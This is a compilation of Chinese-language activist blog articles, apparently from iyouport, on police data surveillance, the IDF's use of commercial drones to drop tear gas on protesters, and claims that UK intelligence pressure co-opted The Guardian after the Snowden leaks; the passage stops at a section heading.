其结果就是，警察有能力以前所未有的规模入侵和监视我们的生活。随着我们的在线生活日益融入离线生活，警察能够从各种角度进入我们的个人私密空间，监控我们在社交媒体上的社交互动，使用无人机监控公共和私人场所，使用 **ANPR** 收集我们的车牌，在 **CCTV** 上捕捉我们的图像，加之身体相机和面部识别技术。

其中大部分隐私入侵是肉眼看不到的，导致人们对这种入侵的严重性的理解度极低。如果人们能够亲眼看到正在发生的事，就会产生真正的愤怒和抵抗行动。

我们在社交媒体上分享的帖子、照片和生日，以及在不知不觉中暴露的数据 例如活动的时间、位置和信息（哪些内容可以让我们心情愉快、哪些正相反）……等等一切，对警察和维稳部门来说都是非常有价值的。当权者通过收集公共领域的信息以及通过第三方数据经纪人访问公共和私人数据库中的商业数据来获取这些情报。

许多第三方公司提供警用监视工具，将信息从社交媒体、数据库和公共记录中提取到集中式的数据中心，使用软件组织和分析数据，并将其转化为可操作的情报。

2015年，美国司法部和联邦调查局承认，美国的重点监视黑名单系统和禁飞名单就是基于“对潜在威胁的预测性评估”。那些从未被指控或被定罪人被系统性标记，几乎没有能力也没有机会去理解或质疑是什么促使自己成为重点监视目标的。

由于机器输出决策而没有深入了解决策的原因，因此系统的人工操作员无法对决策提供进一步的解释。而正是这样的决定在严重影响一个人自由行动的能力。

位于加利福尼亚州弗雷斯诺的弗雷斯诺警察局使用一项计划，该计划查看来自社交媒体、逮捕报告、财产记录、警察身体佩戴的摄像机镜头等数十亿个数据点，以计算嫌疑人的“威胁分数”。这种分数非常可怕，会导致你一个掏口袋拿手机的动作有可能被警方视为掏枪，而以先发制人的原则击毙你。

看到移民危机中的机会，IBM 正在开发软件据称能够预测移民是无辜的难民还是恐怖分子。该公司正在创建一个系统，该系统汇集了多个数据源，以分析护照的可能性真实程度等。而该系统获取数据的一些来源包括“暗网[...]和与护照黑市相关的数据”，以及，社交媒体数据和电话元数据。对于那些已经脆弱的人来说，这种制度的影响可能是灾难性的。

隐私入侵和寒蝉效应

随着警察对人们生活的监视变得更加广泛，以及更公开地了解我们在网络上使用和互动的方式，因此，我们每个人的离线互动方式都在受到破坏。我们已经失去了自主探索、互动和社会组织的能力。

培养一种无所不能的监视感这种恐怖可以追溯到70年代，当时联邦调查局总部发出一份备忘录，敦促间谍特工加大对公民活动人士的监控—— 每个邮箱背后都要有一个FBI。

不透明度

警方、政府和阴暗的第三方数据经纪人收集的各种各样的数据形式，加上越来越依赖不透明的专有软件进行收集和分析，以及越来越多地使用秘密算法和/或复杂的机器学习，强大的决策系统，几乎不可能被挑战。

因此，作为一个社会和个人，我们会很难理解自己是如此失去自主能力的，即使知道什么时候做出决定会变得困难。

IBM、Microsoft、Cisco、Oracle 和 Palantir 等公司提供的平台允许警方浏览大型数据集以促进其调查和维稳响应。

作为分析大量可用数据问题的解决方案，警察和维稳机构信任并依赖这类软件的输出指导决策。

然而，公民仍然没有公开辩论使用这些数据意味着什么，挑战它的方法是什么，以及社会中最脆弱的人如何被造成了不成比例的影响。

解决方案是什么 ——

数据是我们身份的一部分，甚至非个人数据也可以揭示有关我们和我们生活的详细信息。为了确保我们生活在一个所有人都被视为公民的正常国家而不是被视为嫌疑人的警察国家中，警方收集的数据必需应该是必要的和相称的，只有在必要时才能存储。公民应该能够轻松地要求访问警方收集的关于我们的数据，包括从我们的数据中得出的推论；还应该能够要求在不准确时纠正数据。

在民主环境比较成熟和保持良好的国家也许有希望做到这点，但是在威权国家和有缺陷的民主国家，公民只能自己保护自己。

当你下一次惊讶地发现有人由于社交媒体言论、点赞、转发、或者仅仅是社交网络互粉关系，而被警方滋扰甚至逮捕的时候，你应该最先想到的是：此人是如何被当局挖掘到真实身份的？当权者如何知道互联网上的某个**ID**背后的人具体住在哪个小区的哪栋楼里？

这就是所有居住在不够民主的国家的人们应该做的思考。如果你不断思考这件事就能体察到很多自我保护的经验，参看 IYP 提供的技术保护措施，您将可以基本免于上述灾难。不要想通过自我审查获取安全，因为至少没有人知道自己应该审查什么，你不可能完整知道当权者视什么为威胁；并且，任何自我审查都是在协助恶行的发育，恶行会由此迅速变得更加肆无忌惮，直到吞噬所有人。

关于使用社交媒体和互联网的安全保护方法最基本的详见如下部分：

- 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》
- 《安全手册：这里是你需要的几乎所有安全上网工具》
- 《伪装 + 擦除—— 在线隐身的重要步骤（少数派玩家）》
- 《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识 》
- 《如何验证您的 VPN 连接是否安全？》
- 《哪些话你不应该在社交媒体上说》

原文

从ISIS、到伊拉克、再到以色列，商业无人机如何镇压反抗者 - iyouport

维稳面面观

这种镇压手段不是新闻，但它依然是一种无规则无约束的暴力

我们在3年前已经警告过这点，见《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》。用无人机镇压反抗和袭击对手这件事已经持续多年，而今年5月以色列对加沙反抗者的镇压中，这种手段再次被突出出来。

无人机不仅会携带镇压武器，以令这些武器的效能发挥到极致，而且它们更普遍的做法是对抗议者进行监视，一些无人机配备了人脸识别技术，以方便警察在事后逮捕人们。比如见这里的介绍《空中监视如何追踪抗议者？》。

这篇文章中，Nick Waters 简要介绍了以色列使用的无人机特征，对于当今任何准备参与抗议活动的人来说，这都是您需要了解的知识，因为这种做法在全球流行。

不要错过我们正在进行的主题《示威参与者指南》，主要介绍镇压武器、防御方法、受伤后的救助方法等等行动者必需掌握的技能：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
- 《警用武器常见伤害及基本处理方法：示威参与者指南（6）》
- 《充分利用大规模逮捕：示威参与者指南（7）》
- 《了解防弹衣：示威参与者指南（8）》

- 《您需要真正的自己人—如何组成一个亲密团队：示威参与者指南（9）》
- 《了解防暴弹药，以及如何保护自己 ：示威参与者指南（10）》
- 《让监视摄像头失明：示威参与者指南（11）》
- 《在街上保持安全：示威参与者指南（12）》
- 《和媒体说话时如何避免陷阱：示威参与者指南（13）》

以色列警方在所谓的“停火”第一天就向阿克萨清真寺周五祈祷的人们投射了闪光弹榴弹、催泪瓦斯和橡皮子弹

在过去的多年里，人们已经看到国家和非国家行为者在冲突中使用现成的商用无人机（COTS）的情况大量增加，无论是伊斯兰国、伊拉克联邦警察，还是世界各地的众多其他政府。

最近，人们再次看到以色列与其他国家行为者一起使用COTS无人机，在这种情况下，它被用作部署催泪瓦斯榴弹的镇压工具、消除巴勒斯坦抗议者放出的风筝、以及作为监视工具的存在。尽管以色列长期以来一直是军用无人机的著名使用者，但在**2017**年，它也购买了“数百架” 大疆 **Matrice** 和 **Mavic** 商用无人机，据称其中一些被分配给了边防部队。

从**2018**年**3**月起，关于以色列国防军将商用无人机用于军事目的的报告和例子激增。这种活动似乎是在抗议活动和反抗者起义的持续期间（巴勒斯坦人称之为 “回归大游行”）在加沙地带周围进行的。以色列国防军的商用无人机已经被广泛部署，并采用了相对新颖的战术。

尽管使用无人机投放催泪瓦斯的想法并不新鲜，但以色列似乎是第一个在抗议活动中如此广泛地使用催泪瓦斯的国家。

虽然催泪瓦斯有很多种（在这里看到具体介绍以及防御方法），但本文将使用 “催泪剂” 一词来指称以色列国防军所使用的那种。

部署催泪瓦斯

「图」

到目前为止，以色列国防军对商用无人机最突出和最有争议的使用是用它们来向抗议者投放催泪瓦斯。似乎有几种不同的系统在做类似的工作。除了多种不同类型的无人机外，似乎还有多种不同的系统来部署有效载荷。

迄今为止，公开来源的证据表明，有三种类型的部署系统：

- 部署多达12枚CS榴弹
- 部署单一的大型CS瓦斯榴弹
- 从无人机上直接部署毒气瓦斯

在图像和视频中出现最多的系统是一架部署了多个小型催泪弹的无人机。这已被广泛用于针对抗议者、记者和其他活动家。该系统似乎由**DJI Matrice 600** 组成，下面挂着两个吊舱，每个吊舱装有**6**枚榴弹。每个吊舱都可以旋转打开以释放榴弹，并且可以单独打开或同时打开。DJI Matrice 100 投掷的催泪弹

特写

该系统使用的实际弹药类似于专门制作警用武器的美国联合系统公司生产的催泪弹，以色列国防军已经在使用手持式和步枪发射式的催泪弹。

如果您错过了《针对催泪瓦斯袭击抗议者及其他侵犯人权行为的调查框架：给公民调查人员的思考方式（2）》这很重要，反抗者不仅需要了解警用镇压武器、知道对于每一种武器您应该如何防御，并且，还要知道该如何取证 —— 拍摄哪个部分才能作为暴力镇压的证据，与权利组织合作对施暴者追究责任。一个以色列国防军无人机投下的一种弹药的例子

还有人称，以色列国防军一直在使用以色列国防集团的 “旋风防暴无人机系统” 来投放催泪瓦斯榴弹。有一些媒体似乎显示正在使用类似的系统，投放小型瓦斯瓶而不是催泪弹。然而，这些照片似乎显示了一个长方形的部署舱，而不是圆形的。这有可能是以色列国防军视频中显示的同一系统，该视频中似乎有六个矩形配置的催泪瓦斯发射管，也是来自大疆 Matrice 600。仍来自IDF的视频。请注意无人机下面矩形装置下的六根管子

似乎还有一种型号的无人机携带单一的、更大的弹药，可能也是催泪弹。下面的视频显示该系统向一个帐篷投掷了一枚榴弹。

其他照片称显示了一架被击落的以色列国防军无人机，还显示了似乎是一个单一的榴弹释放装置。值得注意的是，上面的视频和下面的图片中的无人机似乎都是大疆 Matrice 600 的。

这种释放机制的工作原理是，两侧的两个舵机退出，从而释放一条将

弹药固定在托架上的带子。这种舵机的制造商表示不知道他们的产品被以这种方式使用。据称该系统已连接到*DJI Mavic 600*

下面的照片显示，据称是一架无人机直接从机身下方的装置中释放瓦斯。公开资料显示，无人机直接投放催泪瓦斯的证据似乎很有限，其规模小于地面镇压部队投放催泪弹的规模。这是直接喷洒催泪瓦斯的IDF无人机

下面的图片也显示了无人机以这种方式释放催泪瓦斯，然而下图中的结构似乎与投放多个催泪弹的无人机相同。因此，从无人机上释放瓦斯很可能是故意的。该系统可能出现故障，榴弹要么意外引爆，要么被夹住而没有按计划投射。如果考虑到在这个高度部署的催泪瓦斯不可能像在地面部署的那样有效，这种可能性就更大了。IDF无人机可能会意外释放催泪瓦斯

摧毁火风筝

「图」

以色列展示了其使用小型无人机来摧毁巴勒斯坦人放出的火风筝。这无疑是一种比小武器射击等其他手段更具成本效益的销毁方法。

以色列国防军展示了使用商用无人机击毁这些风筝的方法，为记者演示了这些无人机，并发布了它们的行动视频。

在上面的视频中，可以看到三架无人机：似乎是 DJI Matrice 100，Team Blacksheep Oblivion 穿越竞速无人机、和另一种未知的穿越竞速用无人机。这两架穿越竞速无人机似乎是直接飞向目标的，故意与线缠在一起，从而使风筝坠落，通常是在边界的以色列一侧。

大疆Matrice 100 似乎是为一种不同的技术而设计的，因为它上面有某种绳子，据说还附有鱼钩。其目的似乎是要用这根绳子缠住风筝，把风筝拖走。未知类型的IDF无人机

「图」

IDF Matrice 100，右侧有销售图片作为比较

甚至有一段录像，如下：

结论

「图」

使用商用无人机来部署催泪瓦斯是人群控制型镇压战术的一个非常值得关注的最新发展。它为镇压者提供了相当精确的催泪瓦斯目标，而且射程比目前以色列国防军使用的武器系统要远得多，这些系统包括手掷榴弹系统、40毫米UGL变体和车载排雷发射器。车载VENOM发射器可以发射30枚CS瓦斯弹，然而，它的射程有限，并且具有广泛的区域效应。以色列国防军确实使用了一种射程为几百米的远程40毫米瓦斯弹，但是它不能以大排量发射。因此，这些无人机提供了一种新的能力，可以在几公里的范围内部署大量的催泪瓦斯，而且袭击目标相对准确。

调查发现以色列国防军正在使用五种不同的商用无人机执行各种任务。大疆Matrice 100、Matrice 600、一架 Blacksheep、一架不知名的竞速穿越无人机和似乎是玩具的遥控飞机。很可能还在使用其他型号。 鉴于用于类似任务的无人机种类繁多，以色列国防军似乎仍在试验不同的型号。恰好是无人机爱好者的预备役军人和高级军官被安排做无人机飞行员的报告进一步证实了这一点。这支无人机空军未来将如何使用，以及是否会出现在与巴勒斯坦抗议者对抗的其他领域，还有待观察。

关于使用无人机控制人群的道德辩论还没有得到充分的探讨，但无疑会引起激烈的争论。以色列国防军使用的战术已经开始提出了如何建立和执行与国家层面的行为者使用小型无人机进行暴力镇压有关的规范的问题。在以色列国防军似乎使用商业无人机故意针对“前线”以外的记者和活动家的情况下，这场辩论尤其重要。

其他国家很可能会密切关注这种无人机镇压的做法。即使作为简单的监视平台，小型无人机也可以成为地面指挥官的有效资产，而且比直升机便宜得多。看来，以这种身份使用无人机可能是一个很快就会变得更加普遍的主题，应该可以预期以色列和其他国家会有更多此类镇压系统投入使用。〇

First ISIS, then Iraq, now Israel: IDF Use of Commercial Drones

原文

从做新闻到”作”新闻：维稳机构如何成功废掉说真话的媒体？ - iyouport

审查和自我审查-民主的支柱是如何歪掉的维稳面面观透明度革命

【2020年3月18日存档】从禁令、到恐吓、到传唤、到收编…… 从被迫摧毁真相、到自我审查、到主动投怀送抱、到成为纯粹的帮凶；一个曾经被信赖的揭露者在短短6年的时间里彻底变成了间谍机构的玩偶，这其间发生了什么？

自2013年6月开始发布关于美国国家安全局承包商爱德华·斯诺登泄露的美国政府机密文件的内容后，英国维稳部门就将枪口对准了《卫报》。

众所周知斯诺登的重磅炸弹事件持续了数月之久，是有史以来最大的机密信息泄露事件，涉及美国国家安全局及同等的间谍机构英国政府通讯总部。机密文件透露了这两个机构实施的恐怖级大规模监视计划。

- 在这里看到中文斯诺登文件完整版《互联网霸主的时间线——他们将互联网视为间谍、破坏和战争的主场》

根据英国国防和安全媒体咨询委员会的会议记录，这些泄密消息引起了英国间谍机构和国防部的警觉。

在这份会议记录中显示，2013年11月7日国防部说：“这一事件非常令人担忧，因为一开始，卫报就没有在发布第一批机密信息之前与[委员会]接触。”（这里的“接触”指的是主动接受审查）

- 主动接受审查被认为是“规矩”《电子邮件被曝光：揭示记者主动接受情报部门的审查，这究竟是为什么？》
- 《”纽约时报”承认，在稿件发布之前它会主动接受政府的审查》

DSMA委员会由国防部运营，每六个月开会一次。还邀请了少数记者

参加。其明确的目的就是审查，它们称此为 “防止不经意的公开披露损害英国军事和情报行动的信息”。它可以向媒体发布“通知” —— 也就是禁令，以阻止记者发布某些信息。

该委员会目前由国防部安全政策总干事多米尼克·威尔逊（Dominic Wilson）领导，他此前曾担任英国内阁办公室的情报总监。其秘书是 Geoffrey Dodds 准将，他形容自己是一位“有成就的、资深的前军事指挥官，具有丰富的作战层面领导经验”。

该委员会将审查禁令描述为 “自愿执行”，称 “媒体没有义务遵守发布的任何禁令”。如果这是真的，那么意味着在发布斯诺登文件之前，卫报应该无需咨询国防部。

但是，该委员会的会议纪要中却说：“卫报有义务根据条款寻求……建议”。会议纪要补充说：“未能寻求建议是引起关注的关键原因，并且[该委员会]已经为解决问题做出了相当大的努力。”

他们把真相的曝光视为“需要解决的问题”。

“相当大的努力”

「图」

这些“相当大的努力”包括，该委员会于2013年6月7日（即《卫报》发布第一批斯诺登文件后的第二天）向所有英国主要媒体编辑部发出了禁令，称：他们应避免发布会 “危及两国国家安全和危及英国人员的信息”。

而且，该禁令本身还被标记为 “机密：不得在社交媒体上发布、广播或使用”。

显然，该委员会不希望这份禁令被大众知道，甚至他们几乎成功了。只有右翼博客 Guido Fawkes 公开了这份禁令。

根据委员会的会议记要，当时，“特别是情报机构，继续要求提供更多咨询意见（也就是审查禁令）”。

情报部门清楚地知道，此类禁令绝非仅仅是向媒体提供建议的工具，而是一种威胁，威胁媒体不要发布斯诺登文件。

一天晚上，就在第一个斯诺登文件的报道发布后，时任该委员会秘书的少将 Andrew Vallance 亲自打电话给《卫报》编辑 Alan

Rusbridger。

一位卫报 记者说，Vallance “明确表示了对《卫报》在发布文件之前未能事先咨询他的担忧”。

在那年的晚些时候，英国首相戴维·卡梅伦（David Cameron）再次将该委员会的禁令系统用作对媒体的威胁。

他在给议员的一份声明中说：“我不想使用禁令或通知书或其他更严厉的措施。我认为呼吁报纸的社会责任感要好得多。但是，如果他们没有表现出某种社会责任，政府就很难不采取行动了。”

当权者的威胁发挥了作用。

当时的 Press Gazette 杂志报道说：“《金融时报》和《泰晤士报》都没有提及斯诺登最初的揭露……而《电讯报》只发表了一篇简短的文章”。只有《独立报》“追随了实质性的揭露和指控”；“**BBC** 也选择了不理会斯诺登的故事”。

但是，当时的《卫报》仍然不为所动。*A poster showing a photograph of US whistleblower Edward Snowden is fixed to an umbrella during a pro-Snowden march in Hong Kong, China, 15 June 2013. EPA/ JEROME FAVRE*

根据该委员会会议纪要，《卫报》继续发表斯诺登文件这一事实，“无疑在某些方面引发了对该系统未来用途的质疑”。如果禁令系统无法阻止《卫报》发布令GCHQ最丢脸的机密，那还有什么用？

对于他们来说，现在是时候控制《卫报》并确保这种抗旨的情况不再发生了。

GCHQ和笔记本电脑

「图」

间谍部门在其 “相当大的努力” 之上继续加力，尽一切办法阻止媒体的曝光。

2013年7月20日，英国间谍机构GCHQ官员在第一篇与斯诺登相关的文章发表六周后，直接闯进了卫报在伦敦国王十字区的办公室。

结果是，应政府和维稳部门的要求，《卫报》的副主编 **Paul**

Johnson 和其他两个人花了三个小时的时间销毁了所有存储斯诺登文件的笔记本电脑。

据该报的一位记者说，《卫报》的工作人员带来了“角向磨光机、带钻头的电动打磨机、还有口罩”；“间谍机构提供了一种高科技设备，即“消磁器”，可以消磁并删除数据。”

副主编 Johnson 说，销毁计算机是“纯粹的象征性行为”，并补充说：“政府和 GCHQ 都知道这点，因为我们已经告知他们，这些文件已被带到美国与《纽约时报》共享。揭露报告会将继续进行。没有任何改变。”

真的没有任何改变吗？不，有些东西的确变了。正如那个发禁令的委员会在2013年11月的会议记录中概述的那样：“ [在7月底（由于计算机被销毁），卫报已开始寻求并接受本委员会的建议，不要公开某些高度敏感的细节，从那时起，与委员会的对话是合理的，而且正在改善 ……”

Johnson 显然轻敌了。英国间谍部门所做的不只是“象征性行为”；它既是权力的表现，也是明显的威胁。

当时，《卫报》是揭露美国和英国间谍机构大规模监视真相的举报人所依赖的唯一主要报纸，依靠其接收文件并保护举报人的身分；这对间谍机构构成了挑战。

对《卫报》施加的越来越强悍的压制奏效了。该委员会指出，在GCHQ监督了该编辑部的笔记本电脑捣毁之后，“与 Guardian 的互动……持续加强”。（请把“互动”理解为传唤/喝茶）

主编 Rusbridger 后来向民政事务专责委员会作证，关于斯诺登事件后，D-Notice 委员会的 Vallance 与他本人“合作”（贴身审查），并且 Vallance 甚至“在《卫报》办公室里与所有记者交谈”。

但是，这种胁迫和威胁攻势中最重要的部分是使《卫报》同意加入 **D-Notice** 委员会本身。该委员会的会议记要对此很明确，其中指出：“[原文]这一过程最终结束于任命 Paul Johnson（卫报副主编）担任 DPBAC [即 D-Notice 委员会]成员”。（请理解为收编）

在2013年底或2014年初的某个时候，Johnson 被要求加入该 委员会。Johnson 是副主编，曾在英国情报人员的注视下捣毁了编辑部的计算机。他在2014年5月参加了该委员会第一次会议，并一直在那里

待到2018年10月。

简单说 ，他一直与那些阻止他的报道发表的审查人员坐在一起。

一个新主编

「图」

卫报主编 Alan Rusbridger 在斯诺登文件的报道中承受了巨大的压力，但是他同意了 Johnson 加入 D-Notice 委员会，以此作为对维稳部门的战术手段。在他的整个任期内，《卫报》继续发表一些批评间谍机构的报道。

但是，在2015年3月，《卫报》任命了一位新主编 Katharine Viner 后，这种情况发生了变化。

这个新主编 Katharine Viner 在处理间谍机构相关报道方面的经验显然比 Rusbridger 少得多。

Viner 最初来自时尚和娱乐杂志《Cosmopolitan》，她在国家安全报道方面没有任何工作经验。据内部人士称，在斯诺登事件中，她的领导力要比美国的 Janine Gibson 差得多（Gibson 是 Rusbridger 继任者的另一位候选人）。

当时，Viner 是澳大利亚《卫报》（Guardian Australia）的主编，澳大利亚卫报是在斯诺登文件报道首次发表前两周成立的 —— 澳大利亚和新西兰组成了斯诺登揭露的“五眼”监视联盟的五分之二。

这对那些间谍机构来说是个好机会。他们的诱导似乎从第二年就启动了。

2016年11月，《卫报》与军情五处 MI5 负责人 Andrew Parker 合作发表了史无前例的 “独家新闻”。该文章指出，这是 “该间谍机构在107年历史上的第一次现任负责人接受报纸采访”。

请注意，这篇所谓的 “独家” 是由副主编 Paul Johnson 共同撰写的，他以前从未写过有关间谍机构的文章，并且他当时仍在审查部门 D-Notice 委员会中任职。而且那篇文章中未提及这件事。

Johnson 和他的合著者写道：“尽管斯诺登文件已经发表，但军情五处的负责人 Parker 是在和卫报、而不是其他报纸交谈”……（请感受狗粮的兴奋）

Parker 告诉两位记者："我们认识到，在瞬息万变的世界中，我们也必须做出改变。我们有责任谈论我们的工作并进行解释。"

在军情五处的表演性采访结束四个月后，2017年3月，《卫报》又发布了另一个前所未有的所谓"独家报道"，这次是与英国军情六处的现任领导人 Alex Younger 的"合作"。（请感受收编的代价）

这份独家情报是由英国秘密情报局授予《卫报》的调查编辑 Nick Hopkins 的，他在14个月前被任命。*Head of MI6, (the foreign intelligence service of the government of the United Kingdom) Alexander Younger wait for a visit of Britain's Elizabeth II outside Watergate House to mark the centenary the United Kingdom's Intelligence, Security and Cyber Agency (GCHQ) in London, Britain, 14 February 2019. PA-EFE/ FACUNDO ARRIZABALAGA*

这次采访是 Alex Younger 第一次接受全国性报纸的采访。这篇文章题为 "MI6 returns to 'tapping up' in an effort to recruit black and Asian officers"，但几乎完全集中在情报部门表示要从少数民族社区招募的愿望上。没有披露性内容。

"简而言之，我们必须吸引现代英国最棒的人，" Younger 在这篇报道中说，"英国各地的每个社区都应该感到自己的需求，无论其背景或地位如何。"

最近的2019年8月，《卫报》再次获得了"独家殊荣"，这次是大都会警察局助理专员尼尔·巴苏（Neil Basu）、英国最高级别的反恐官员。

这是 Basu "自去年上任以来的首次重大采访"，并导致了三部分的系列文章，其中一篇题为"警方检查弗拉基米尔·普京在索尔兹伯里袭击中的作用"。

这些间谍部门不断向《卫报》提供这些所谓的"独家"信息，很明显是牵制行动的一部分，从而令这家唯一的独立报纸变成间谍部门的喉舌 —— 因此不再能拥有接收和掩护斯诺登这类泄漏的资源（没有任何举报人会与官宣合作，卫报被选中是因为曾经它是独立的）。

新主编 Viner 在任职期间究竟有没有和那些间谍部门进行过私下对话，现在还不得而知。但是，在2018年， Paul Johnson 最终离开 D-Notice 委员会时，其主席、国防部的 Dominic Wilson 称赞 Johnson 说，他 "在[令该审查部门]与卫报建立联系方面起了很大作用"。

重要报告的数量严重下降

「图」

除了间谍机构操控的那些所谓的独家之外，这个新主编 **Viner** 在任职期间还监督了《卫报》著名的调查记者小组的解散，这些专门揭露当权者丑闻的调查记者被告知 “去别处找工作，别干调查性新闻了”。

一位消息灵通人士当时在 Press Gazette 上透露，该调查小组的记者“在去年就没有得到高级编辑的支持”，并且“有些人还认为该报在同一时期变得更加自我审查了”。

自斯诺登文件以来的这段时间里，《卫报》已经失去了许多报道国家安全问题的主要调查记者，其中包括希夫·马利克（Shiv Malik）、尼克·戴维斯（Nick Davies）、大卫·利（David Leigh）、理查德·诺顿·泰勒（Richard Norton-Taylor）、埃温·麦克阿斯基尔（Ewen MacAskill）、和伊恩·科本（Ian Cobain）。

他们空下的多数位置最终由少数经验不足的记者接任，这些记者对揭露当权者阴暗面的承诺显然非常少。

一位《卫报》现任记者告诉我们：“似乎他们[间谍部门]已经摆脱了所有以对抗性方式报道维稳部门和军事部门的记者。”

确实，在 Rusbridger 担任主编的最后两年中，《卫报》每年在其网站上发表约110篇对军情六处的批评性文章。而自 Viner 接任以来，每年的平均值减少了一半，并且逐年下降。

一位前《卫报》记者告诉我们：“对情报机构的有效监督似乎已被放弃了，其中就包括斯诺登的独家新闻以及许多其他报道。”

这位前记者补充说，近年来，“有时卫报会表现出惊吓过度的状态。”

另一位前《卫报》记者补充说：“卫报已经不再与情报部门保持那种具有挑战性的关系，自斯诺登事件以来，卫报也许正在寻求缓和与间谍机构的关系。这很令人担忧，因为惊吓总是被操纵的，不可信。”

尽管仍然有一些批评间谍机构的文章刊发，但是，其“独家”越来越多地侧重于间谍机构可接受的问题。

自从斯诺登事件以来，《卫报》再也没有接受那些未经审查部门批准的信息来源的爆料。

相比之下，《卫报》开始就间谍部门的主要官方敌人俄罗斯，不断发布独家报道，揭露了普京、他的朋友们及其情报部门和军事部门的许多工作。

每个人都记得2016年4月的《巴拿马文件》泄漏，其中揭示了世界各地的公司和个人如何利用离岸律师事务所避税，当时《卫报》的头版稿件由 Luke Harding 撰写，他收到了许多来自间谍部门的提示关于“俄罗斯的威胁”，结果他这篇报道的标题为：“Revealed: the $2bn offshore trail that leads to Vladimir Putin”。

巴拿马文件中有一个超大的故事，卫报选择将其保留到第二天，以淡化其影响。这个故事涉及当时的首相大卫·卡梅伦（**David Cameron**）的父亲，他“经营着一个离岸基金，通过雇用巴哈马的一小批居民来签署文书，从而避免了在英国纳税的麻烦”。

我们了解到，选题会上记者之间存在一些争论，即 究竟要不要把卡梅伦的报道发头条。结果是，普京的朋友最终被认为比本国首相更重要。

对 **Julian Assange** 的人格暗杀运动

「图」

卫报似乎也参与了针对 WikiLeaks 主编朱利安·阿桑奇（Julian Assange）的抹黑运动，Julian Assange 曾在2010年 WikiLeaks 的早期揭露中与卫报合作。

- 《人格暗杀和抹黑运动：谁在受益？》

A file photograph showing WikiLeaks founder Julian Assange shows an issue of the British daily newspaper The Guardian during a press conference at the Frontline Club in London, Britain, 26 July 2010. EPA/STR

2017年的一个故事来自调查记者 Carole Cadwalladr，她为《卫报》的姊妹报刊《观察家报》撰文，题为“当奈杰尔·法拉奇遇到朱利安·阿桑奇”。

这涉及前 UKIP 领导人 Nigel Farage 在2017年3月由伦敦广播公司组织的对厄瓜多尔大使馆的访问。Farage 在LBC制片人的陪同下参加了会面，但 Cadwalladr 的报道完全没有提及。

相反，她认为这次会面是 WikiLeaks、Farage 和 Donald Trump 之间的“潜在……交流渠道”，她甚至说这些参与者是“政治联盟”，并且“WikiLeaks 在许多方面都是所有中心的涡旋”。

但是，Cadwalladr 做出此猜测的唯一官方来源是一个与“美国情报部门关系密切”的家伙，此人告诉她，“当热度上升并且必须假设所有电子通信都有可能受到严格监控的情况下，情报交流就落到了人类信使身上……

显然，是美国情报部门有密切关系的人在背后试图抹黑 Assange。

- 《致力于帮助当权者抹黑曝光权力阴暗面的人：新闻业正在破坏自己的声誉》

并且，在2018年，《卫报》对 Assange 的诽谤企图大大地提高了。一系列新文章于2018年5月18日开始发表，其中指控阿桑奇与俄罗斯国家广播公司“与RT的长期关系”。没有任何证据。

Luke Harding 再次合著的另一个报道声称，“俄罗斯外交官在伦敦与……朱利安·阿桑奇身边的人进行了秘密会谈，以评估他们是否可以帮助他逃离英国—《卫报》获悉。”

Fidel Narvaez 当时是厄瓜多尔驻伦敦大使馆的前领事，他坚决否认存在任何涉及俄罗斯的“逃逸阴谋”，并参与对《卫报》的投诉程序。

这种明显的抹黑活动一直持续到**2018**年**11**月，都是根据所谓的匿名消息来源，最终在头版大放异彩，声称阿桑奇在厄瓜多尔大使馆与特朗普的前竞选经理保罗·马纳福特（Paul Manafort）举行了三次秘密会议。全是假的。

- 《伪劣报道和有目的的政治宣传如何扭曲了现实政治 》

这个“独家新闻”使所有新闻记者的信誉都清零了，因为没有任何证据，没有任何人可以三度进入厄瓜多尔这个高度安全状态的大使馆。

卫报自己肯定也觉得太离谱了，在此后的所有相关报道中再也没有提及是个魔幻故事。但是，《卫报》仍未对其网站上的虚假报道予以撤回或道歉。

在副主编 Paul Johnson 促进《卫报》与间谍部门之间 “重新建立联系” 成功而受到祝贺的两周后，“独家”又出现了。

这是一连串的《卫报》文章，以及其他英国媒体对阿桑奇的污辱和抹黑报道，为厄瓜多尔、英国和美国之间达成协议，将阿桑奇于4月驱逐出大使馆，创造了条件。

阿桑奇现在在贝尔马什（Belmarsh）最高安全级别的监狱里，即将被引渡到美国，面临永无止境的监禁。

政治斗争中的玩偶

「图」

在 Viner 的领导下，《卫报》的另一个主要重点是攻击英国工党领袖杰里米·科宾。

其背景是 Corbyn 最近已成为间谍部门的目标。

2015年，在他当选为工党领袖之后不久，《星期日泰晤士报》就警告说："如果 Corbyn 当选首相，军队会直接挑战"。

- 在这里看到间谍部门对工党领袖实施的惊人的攻击运动《秘密宣传战网络》
- 在这里看到这场攻击运动之所以能成功的"基础设施"《心理操纵的秘密："行为经济学"＋PR＝？》有视频

2017年5月20日，即2017年大选之前的两周多，《每日电讯报》声称 Corbyn 与爱尔兰共和军有联系。大都会警察特别处也在同一时期监视 Corbyn。*Jeremy Corbyn, Leader of the Labour Party, makes a keynote speech on the day before Parliament returns, Manchester, Britain, 02 September 2019. EPA-EFE/PETER POWELL*

然后，在大选前夕，《电讯报》发布了一篇采访MI6前局长 Richard Dearlove 的文章，标题是："Jeremy Corbyn 对这个国家构成威胁"……

自2015年 Corbyn 当选以来，《卫报》自己就发表了大量批评 **Corbyn** 的新闻和评论文章，并且该报纸明显的敌对立场已广为人知。

《卫报》和《观察家报》发表了数百篇抹黑工党"反犹主义"的文章，并且自去年年初以来，共发表了50多篇此类文章，标题显然都指向 Corbyn。

尽管工党中确实存在反犹主义，但有证据表明反犹主义始终处于很低的水平。自2015年9月 Corbyn 成为工党领袖以来，已经对那 0.06% 的工党成员进行了调查，以制止反犹言论或帖子。

2016年，由工党委托进行的一项独立调查得出的结论是，该党“并没有反犹主义、伊斯兰恐惧症或其他形式的种族主义。相反，该党发起了每一项英国种族平等法律。”

但是媒体的联手抹黑还是起效了。Corbyn 在任职的头两年中支持率大幅下降。自2016年1月以来，《卫报》已经发表了1,215篇抹黑工党的报道，平均每天大约一篇。

可靠的出版物？

「图」

